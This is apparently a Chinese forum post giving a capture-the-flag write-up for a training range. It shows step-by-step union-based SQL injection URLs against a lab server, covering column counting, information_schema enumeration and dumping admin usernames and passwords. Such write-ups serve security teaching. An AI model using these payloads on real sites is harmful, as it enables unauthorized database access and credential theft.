公开课靶场第一章writeup

wnyxy001   ·   发表于 2018-07-18 22:05:49   ·   CTF&WP专版

1.  判断是否存在注入漏洞  

分别修改链接并访问  http://120.203.13.111:6815/?id=1 and 1=1     http://120.203.13.111:6815/?id=1 and 1=2

发现页面存在sql注入漏洞

2.  判断字段个数  

修改链接并访问  http://120.203.13.111:6815/?id=1 order by 10 不能正常访问  因为字段数不为10

继续尝试 直到  http://120.203.13.111:6815/?id=1 order by 2 页面正常显示  说明后台语句中获取了2个字段

3. 获取数据库信息

修改链接并访问  http://120.203.13.111:6815/?id=1 and 1=2 union select 1,version()  获取到数据库版本信息

修改链接并访问  http://120.203.13.111:6815/?id=1 and 1=2 union select 1,database()   获取到数据库名为maoshe


4. 获取数据库表名

修改链接并访问  http://120.203.13.111:6815/?id=1 and 1=2 union select 1, table_name from information_schema.tables where table_schema='maoshe'


5. 获取数据库表字段名

修改链接并访问  http://120.203.13.111:6815/?id=1 and 1=2 union select 1, column_name from information_schema.columns where table_schema='maoshe' and table_name='admin'  

发现了第一个字段为id 

继续修改链接为

http://120.203.13.111:6815/?id=1 and 1=2 union select 1, column_name from information_schema.columns where table_schema='maoshe' and table_name='admin'  and column_name not in('id')

同理:最终得到字段名  username password 

6. 获取admin表中的值

然后修改链接为

http://120.203.13.111:6815/?id=1 and 1=2 union select username, password from admin

拿到flag


打赏我,让我更有动力~

0 条回复   |  直到 2018-7-18 | 1201 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.